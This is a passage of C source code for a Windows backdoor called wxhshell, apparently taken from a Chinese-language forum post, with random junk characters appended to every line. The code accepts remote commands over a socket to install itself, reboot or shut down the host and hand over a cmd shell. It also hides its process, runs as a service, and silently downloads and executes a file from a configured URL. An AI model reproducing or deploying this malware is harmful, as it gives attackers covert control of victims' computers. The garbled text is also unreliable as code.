      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;|AyP  
    break; B~7]x;8h  
  } -'~61=PD  
  // 安装 X\HP&;Wd  
  case 'i': { M.0N`NmS  
    if(Install()) SPo}!&p$~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87q~ nk  
    else bC0DzBnM;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0!)}O  
    break; ,;~@t:!c  
    } _&}z+(Ug  
  // 卸载 <nbc RO.  
  case 'r': { Dx>~^ ^<  
    if(Uninstall()) *28:|blbL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E6ZmMB&  
    else /Q\|u:oO,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #5=!ew  
    break; WN3]xw3  
    } 4$MV]ldUI  
  // 显示 wxhshell 所在路径 ,@r 0-gL  
  case 'p': { 'q, L*  
    char svExeFile[MAX_PATH]; !B:wzb_  
    strcpy(svExeFile,"\n\r"); SeIL   
      strcat(svExeFile,ExeFile); ^_!2-QY.~  
        send(wsh,svExeFile,strlen(svExeFile),0); H-5h-p k  
    break; F|^tRL-  
    } }e0>Uk`[  
  // 重启 6 6Bx,]"6  
  case 'b': { h7cE"m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2R>!Wj'G+o  
    if(Boot(REBOOT)) y.+!+4Mg|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tv /?-`Y  
    else { 8Q\ T,C  
    closesocket(wsh); Xn* >qm  
    ExitThread(0); 6<m9guv  
    } =}m'qy  
    break; Ah Rvyj  
    } >@?`n}r|  
  // 关机 B'!I{LC  
  case 'd': { C[Nh>V7=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \3 M%vJ  
    if(Boot(SHUTDOWN)) /{ FSG!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 35Cm>X  
    else { Be~In~~  
    closesocket(wsh); [[' (,,r  
    ExitThread(0); dz=pL$C  
    } meArS*d  
    break; ;Wedj\Kkp  
    } ]/c!;z  
  // 获取shell #v}pn2g%>  
  case 's': { EVW\Z 2N.  
    CmdShell(wsh); f/UIpswrZ'  
    closesocket(wsh); WIYWql>*  
    ExitThread(0); dj5@9X  
    break; Twq,6X-  
  } 8;5@5Au  
  // 退出 `C>De4nT@  
  case 'x': { ]y~"M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H.#zbKj  
    CloseIt(wsh); !A'3Mw\Nm  
    break; f=T&$tZ<  
    } O2N~&<^  
  // 离开 cs0rz= ZdH  
  case 'q': { \<Di |X1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p%ZAVd*|#V  
    closesocket(wsh); N.dcQQ_iS  
    WSACleanup(); ,FWsgqL{l  
    exit(1); a&%v^r[  
    break; /f]'_t0\.  
        } )8 %lZ {  
  } fO,m_ OR:)  
  } gaU1A"S}  
}-T :   
  // 提示信息 CC|=$(PgT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IZOO>-g'f  
} *:8,w?Nt  
  }  LXf *  
~w"e 2a  
  return; +r$M 9  
} h_\OtoRa  
mV#U=zqb!S  
// shell模块句柄 /A1qTG=Br  
int CmdShell(SOCKET sock) cd]def[d  
{ Fr)6<9%xVm  
STARTUPINFO si; ^|ul3_'?  
ZeroMemory(&si,sizeof(si)); W #V`|JA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CM4#Nn=i~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ujh`&GiB+  
PROCESS_INFORMATION ProcessInfo; !;M5.Y1j&"  
char cmdline[]="cmd"; wH]Y1 m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tqzr +  
  return 0; ~vB dq Yj  
} v{oHC4  
r;SOAucX  
// 自身启动模式 uL |O<  
int StartFromService(void) 8om)A0S  
{ |DLmMsS4  
typedef struct Oz-@e%8L  
{ j71RlS73  
  DWORD ExitStatus; gIY]hC.  
  DWORD PebBaseAddress; 8DcIM(;Z  
  DWORD AffinityMask; _`+2e-  
  DWORD BasePriority; 67]!xy  
  ULONG UniqueProcessId; a}V<CBi  
  ULONG InheritedFromUniqueProcessId; x/uC)xm  
}   PROCESS_BASIC_INFORMATION; O]80";Uv  
,nSapmg  
PROCNTQSIP NtQueryInformationProcess; yt#~n _  
tG*HUN?*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bj7r"_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ pO1XM  
Hgbrlh  
  HANDLE             hProcess; 9@wmngvM*Y  
  PROCESS_BASIC_INFORMATION pbi; ]:svR@E  
O7z5,-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z, c=."<z  
  if(NULL == hInst ) return 0; H-t"Z}  
s7s@!~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pP^5y{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y3bZ&G)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *&tv(+P  
T4h&ly5 f  
  if (!NtQueryInformationProcess) return 0; ]. 0;;v6)  
hFMT@Gy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S#N4!"  
  if(!hProcess) return 0; PZk"!I<oN  
^ wb9n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,L-G-V+  
GU7f27p  
  CloseHandle(hProcess); )}1S `*J/O  
b_']S0$c\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ZGKM>q`  
if(hProcess==NULL) return 0; T[%@B"  
`c?8i  
HMODULE hMod; 5Y r$tl\k  
char procName[255]; mOntc6&]  
unsigned long cbNeeded; 5 #Et.P'  
{~EPP .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QSyPtjg]  
~'0W(~Q8  
  CloseHandle(hProcess);  >f*Zf(F  
8y'.H21:;  
if(strstr(procName,"services")) return 1; // 以服务启动 ='Yg^:n  
w3jcit|  
  return 0; // 注册表启动 .x][ _I>  
} l09DH+  
SHRn $<  
// 主模块 WB3YN+Xl3  
int StartWxhshell(LPSTR lpCmdLine) WT jy"p*  
{ NE+ ;<mW  
  SOCKET wsl; z4 KKt&  
BOOL val=TRUE; 5G l:jRu  
  int port=0; V;u FYt; E  
  struct sockaddr_in door; ~2[mZias  
:(#5%6F  
  if(wscfg.ws_autoins) Install(); ahg]OWn#  
kHd`k.nW  
port=atoi(lpCmdLine); gmN$}Gy}  
liPaT  
if(port<=0) port=wscfg.ws_port; +^ `n- m  
`&i\q=u+  
  WSADATA data; b{}ao  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9}z%+t8u  
B:#9   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IC+!XZqS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3ICMH  
  door.sin_family = AF_INET; bVOJp% *s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zw_'u=r >  
  door.sin_port = htons(port); a([8r- zP  
U\i7'9w]3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 70.Tm#qh  
closesocket(wsl); lH/7m;M  
return 1; |jb,sd[=S  
} ,M=s3D8C  
CvRO'  
  if(listen(wsl,2) == INVALID_SOCKET) { q``:[Sz  
closesocket(wsl); [wn! <#~v  
return 1; hkx(r5o  
} ._TN;tR~'  
  Wxhshell(wsl); Q:8t1ZDo  
  WSACleanup(); W{fNZb'  
2*a5pFkb  
return 0; i9D<jkc  
6mV^a kapv  
} U&0 RQ:B  
fPq)Lx1'  
// 以NT服务方式启动 T l8`3`e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ei(S&u<  
{ Suy +XHV  
DWORD   status = 0; RKy!=#;17  
  DWORD   specificError = 0xfffffff; y#i` i  
75;g|+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nf%/)Tk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xo3@-D_c!c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &/(JIWc1su  
  serviceStatus.dwWin32ExitCode     = 0; e*M-y C  
  serviceStatus.dwServiceSpecificExitCode = 0; ,O_iSohS  
  serviceStatus.dwCheckPoint       = 0; 1 Q*AQYVY  
  serviceStatus.dwWaitHint       = 0; JC iB;!y  
Rw)=<XV)6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (e4 #9  
  if (hServiceStatusHandle==0) return; Y|ErVf4  
wY"BPl]b  
status = GetLastError(); #'BPW<Ob  
  if (status!=NO_ERROR) 8wMwS6s:  
{ <YvW /x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a"^rOiXR{  
    serviceStatus.dwCheckPoint       = 0; wY3| 5kbDj  
    serviceStatus.dwWaitHint       = 0; eu'S~c-l  
    serviceStatus.dwWin32ExitCode     = status;  ^w_\D?  
    serviceStatus.dwServiceSpecificExitCode = specificError; =3EjD;2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'oF XNO  
    return; Q096M 0m  
  } y7x*:xR[  
6N[X:F 3`,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \|CuTb;0  
  serviceStatus.dwCheckPoint       = 0; h)Ol1[y`  
  serviceStatus.dwWaitHint       = 0; zBc |gx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U04&z 91"  
} W0<2*7s  
 vUR gR  
// 处理NT服务事件,比如:启动、停止 Ho1V)T>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D B(!*6#?  
{ v^B2etiX_  
switch(fdwControl) ,n$NF0^l  
{ qWD(rq+9  
case SERVICE_CONTROL_STOP: hGRHuJ  
  serviceStatus.dwWin32ExitCode = 0; Nka 3H7 `  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d<[L^s9  
  serviceStatus.dwCheckPoint   = 0; f$qkb$?]}  
  serviceStatus.dwWaitHint     = 0; }6gum  
  { s7,D}Zz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1rON8=E  
  } rTqGtmulG  
  return; z fu)X!t^  
case SERVICE_CONTROL_PAUSE: U:bnX51D4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b4 Pa5 w  
  break; #3?}MC  
case SERVICE_CONTROL_CONTINUE: D# gC-,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =yWdtBng  
  break; +G)a+r'0Q  
case SERVICE_CONTROL_INTERROGATE: ^Hz1z_[X@  
  break; Q 3/J @MC  
}; Y|buQQ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=wG};%_  
} +[}<u--  
k; >Vh'=X  
// 标准应用程序主函数 D 4sp+   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <6+T&Ov6  
{ 7"1]5\p^g  
$g),|[ x+(  
// 获取操作系统版本 \2CEEs'  
OsIsNt=GetOsVer(); Yr[& *>S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i&{%} ==7  
;9LOeH?  
  // 从命令行安装 =MT'e,T  
  if(strpbrk(lpCmdLine,"iI")) Install(); XSGBC:U)l  
k 7:Z\RGy  
  // 下载执行文件 U+zntB  
if(wscfg.ws_downexe) { V[n,fEPBr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ja6V*CWb  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;SX~u*`R  
} !+]KxB   
eJeL{`NS  
if(!OsIsNt) { KDb`g}1Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 0 {  
HideProc(); 3-'3w,  
StartWxhshell(lpCmdLine); Jhfw$DF  
} E6z&pM8<8  
else .y lvJ$  
  if(StartFromService()) [s{[ .0P]+  
  // 以服务方式启动 'V &Tlw|  
  StartServiceCtrlDispatcher(DispatchTable); /f drf  
else zO@>)@~  
  // 普通方式启动 Jt0U`_  
  StartWxhshell(lpCmdLine); o#=C[d5BV  
M6GiohI_"P  
return 0; Hg$7[um  
}
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只看该作者 1 发表于: 2006-10-10
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